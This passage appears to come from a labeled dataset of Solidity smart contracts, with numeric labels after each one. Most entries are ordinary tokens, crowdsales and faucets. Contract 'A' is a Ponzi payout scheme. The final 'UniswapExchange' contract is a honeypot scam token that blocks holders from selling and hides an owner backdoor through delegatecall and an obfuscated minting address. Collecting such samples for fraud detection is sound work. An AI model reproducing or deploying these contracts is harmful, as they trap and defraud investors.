Unpause();
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract EmpireToken is StandardToken, Ownable {
string public name = 'Empire Token';
uint8 public decimals = 18;
string public symbol = 'EMP';
string public version = '0.1';
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract EmpireCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
EmpireToken public token;
uint256 public start;
uint256 public end;
address public wallet;
uint256 public weiRaised;
uint256 public presaleCap;
uint256 public softCap;
uint256 public gracePeriodCap;
uint256 public gracePeriodStart;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function EmpireCrowdsale(uint256 _start, uint256 _end, address _wallet, uint256 _presaleCap, uint256 _softCap, uint256 _graceCap) payable {
require(_start >= now);
require(_end >= _start);
require(_wallet != 0x0);
require(_presaleCap > 0);
require(_softCap > 0);
require(_graceCap > 0);
start = _start;
end = _end;
wallet = _wallet;
token = new EmpireToken();
presaleCap = _presaleCap;
softCap = _softCap;
gracePeriodCap = _graceCap;
}
function getRate() constant returns (uint) {
bool duringPresale = (now < start) && (weiRaised < presaleCap * 1 ether);
bool gracePeriodSet = gracePeriodStart != 0;
bool duringGracePeriod = gracePeriodSet && now <= gracePeriodStart + 24 hours;
uint rate = 1000;
if (duringPresale) rate = 1300;
else if (now <= start + 3 days) rate = 1250;
else if (now <= start + 10 days) rate = 1150;
else if (now <= start + 20 days) rate = 1050;
if (duringGracePeriod) return rate.sub(rate.div(10));
return rate;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(now <= end);
if ((weiRaised >= softCap * 1 ether) && gracePeriodStart == 0)
gracePeriodStart = block.timestamp;
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function finishMinting() onlyOwner returns (bool) {
return token.finishMinting();
}
} | 1 | 4,305 |
contract A {
uint b = msg.value;
struct B {
address c;
uint yield;
}
B[] public p;
uint public i = 0;
function A() {
}
function() {
if ((b < 1 ether) || (b > 10 ether)) {
throw;
}
uint u = p.length;
p.length += 1;
p[u].c = msg.sender;
p[u].yield = (b * 110) / 100;
while (p[i].yield < this.balance) {
p[i].c.send(p[i].yield);
i += 1;
}
}
} | 0 | 707 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
interface IERC20 {
function totalSupply() public constant returns (uint256 );
function balanceOf(address _owner) public constant returns (uint256 );
function transfer(address _to, uint256 _value) public returns (bool );
function decimals() public constant returns (uint8 decimals);
}
contract Airdropper is Ownable {
function batchTransfer(address[] _recipients, uint[] _values, address _tokenAddress) onlyOwner public returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
IERC20 token = IERC20(_tokenAddress);
for(uint j = 0; j < _recipients.length; j++){
token.transfer(_recipients[j], _values[j] );
}
return true;
}
function withdrawalToken(address _tokenAddress) onlyOwner public {
IERC20 token = IERC20(_tokenAddress);
require(token.transfer(owner, token.balanceOf(this)));
}
} | 1 | 3,046 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract eXMR {
string public name;
string public symbol;
uint8 public decimals = 12;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function eXMR() public {
balanceOf[msg.sender] = 18400000000000000000;
totalSupply = 18400000000000000000;
name = "eMONERO";
decimals = 12;
symbol = "eXMR";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,261 |
pragma solidity >= 0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function balanceOf(address tokenOwner) constant external returns (uint balance);
}
contract againstFaucet {
mapping(address => uint) public lastdate;
string public name = "AGAINST Faucet";
string public symbol = "AGAINST";
string public comment = "AGAINST Faucet Contract 2";
token public tokenReward = token(0xF7Be133620a7D944595683cE2B14156591EFe609);
address releaseWallet = address(0x4e0871dC93410305F83aEEB15741B2BDb54C3c5a);
function () payable external {
uint stockSupply = tokenReward.balanceOf(address(this));
require(stockSupply >= 1000000*(10**18),"Faucet Ended");
require(now-lastdate[address(msg.sender)] >= 1 days,"Faucet enable once a day");
lastdate[address(msg.sender)] = now;
tokenReward.transfer(msg.sender, 1000000*(10**18));
if (address(this).balance > 2*(10**15)) {
if (releaseWallet.send(address(this).balance)) {
}
}
}
} | 0 | 1,093 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner { require(msg.sender == owner); _; }
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract ERC20 {
function totalSupply() public view returns (uint _totalSupply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ERC20Token is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalToken;
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function totalSupply() public view returns (uint256) {
return totalToken;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Millet is ERC20Token, Owned {
string public constant name = "Alxa Millet Token";
string public constant symbol = "Millet";
uint256 public constant decimals = 18;
uint256 public tokenDestroyed;
event Burn(address indexed _from, uint256 _tokenDestroyed, uint256 _timestamp);
function Millet() public {
totalToken = 9000000000000000000000000000;
balances[msg.sender] = totalToken;
}
function transferAnyERC20Token(address _tokenAddress, address _recipient, uint256 _amount) public onlyOwner returns (bool success) {
return ERC20(_tokenAddress).transfer(_recipient, _amount);
}
function burn (uint256 _burntAmount) public returns (bool success) {
require(balances[msg.sender] >= _burntAmount && _burntAmount > 0);
balances[msg.sender] = balances[msg.sender].sub(_burntAmount);
totalToken = totalToken.sub(_burntAmount);
tokenDestroyed = tokenDestroyed.add(_burntAmount);
require (tokenDestroyed <= 4500000000000000000000000000);
Transfer(address(this), 0x0, _burntAmount);
Burn(msg.sender, _burntAmount, block.timestamp);
return true;
}
} | 1 | 4,251 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0){
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256){
if (b == 0){
return 1;
}
uint256 c = a**b;
assert (c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract SpyceToken{
function sendCrowdsaleTokens(address, uint256) public;
function setCrowdsaleContract (address) public;
function burnContributorTokens (address _address) public;
}
contract SpyceCrowdsale is Ownable{
using SafeMath for uint;
uint decimals = 18;
SpyceToken public token;
function SpyceCrowdsale(address _tokenAddress) public{
token = SpyceToken(_tokenAddress);
owner = msg.sender;
token.setCrowdsaleContract(this);
stageStruct memory buffer;
buffer.startDate = 0;
buffer.finishDate = 1522195199;
buffer.tokenPrice = 0.00016 ether;
buffer.minCap = 675000 ether;
buffer.maxCap = 150000000 ether;
stages.push(buffer);
}
address distributionAddress = 0x003b43733592eFa879B7154eDE5A4Eea47585f30;
function () public payable {
require (buy(msg.sender, msg.value, now));
}
function buy (address _address, uint _value, uint _time) internal returns(bool) {
uint currentStage = getCurrentStage(_time);
require(currentStage != 1000);
uint tokensToSend = _value.mul((uint)(10).pow(decimals))/stages[currentStage].tokenPrice;
require (tokensToSend.add(stages[currentStage].tokensSold) <= stages[currentStage].maxCap);
stages[currentStage].tokensSold = stages[currentStage].tokensSold.add(tokensToSend);
stages[currentStage].ethContributors[_address] = stages[currentStage].ethContributors[_address].add(_value);
stages[currentStage].ethCollected = stages[currentStage].ethCollected.add(_value);
token.sendCrowdsaleTokens(_address, tokensToSend);
autoDistribute(currentStage);
return true;
}
function autoDistribute (uint currentStage) internal {
if (stages[currentStage].minCap <= stages[currentStage].tokensSold){
distributionAddress.transfer(stages[currentStage].ethCollected.sub(stages[currentStage].ethSended));
stages[currentStage].ethSended = stages[currentStage].ethCollected;
}
}
function manualSendTokens (address _address, uint _value) public onlyOwner {
uint currentStage = getCurrentStage(now);
require(currentStage != 1000);
stages[currentStage].tokensSold = stages[currentStage].tokensSold.add(_value.mul((uint)(10).pow(decimals)));
token.sendCrowdsaleTokens(_address,_value.mul((uint)(10).pow(decimals)));
autoDistribute(currentStage);
}
struct stageStruct {
uint startDate;
uint finishDate;
uint tokenPrice;
uint minCap;
uint maxCap;
uint tokensSold;
uint ethCollected;
uint ethSended;
mapping (address => uint) ethContributors;
}
stageStruct[] public stages;
function addNewStage (uint _start, uint _finish, uint _price, uint _mincap, uint _maxcap) public onlyOwner {
stageStruct memory buffer;
buffer.startDate = _start;
buffer.finishDate = _finish;
buffer.tokenPrice = _price;
buffer.minCap = _mincap.mul((uint)(10).pow(decimals));
buffer.maxCap = _maxcap.mul((uint)(10).pow(decimals));
stages.push(buffer);
}
function getCurrentStage (uint _time) public view returns (uint) {
uint currentStage = 0;
for (uint i = 0; i < stages.length; i++){
if (stages[i].startDate < _time && _time <= stages[i].finishDate){
currentStage = i;
break;
}
}
if (stages[currentStage].startDate < _time && _time <= stages[currentStage].finishDate){
return currentStage;
}else{
return 1000;
}
}
function refund () public {
uint currentStage = getCurrentStage(now);
for (uint i = 0; i < currentStage; i++){
if(stages[i].ethContributors[msg.sender] > 0 && stages[i].tokensSold < stages[i].minCap){
msg.sender.transfer(stages[i].ethContributors[msg.sender]);
stages[i].ethContributors[msg.sender] = 0;
}
}
}
} | 0 | 1,376 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 8;
uint8 public constant TOKEN_DECIMALS_UINT8 = 8;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GenPay";
string public constant TOKEN_SYMBOL = "GNP";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xD66d698d2367896bA7Eb0a20335C0c2A0E64Fbf2;
uint public constant START_TIME = 1544468400;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,465 |
pragma solidity >=0.7.3;
contract BatchCaller {
function batchMint(address payable [] memory proxies) public payable {
for(uint i = 0; i < proxies.length; i++) {
proxies[i].call("");
}
}
} | 0 | 72 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
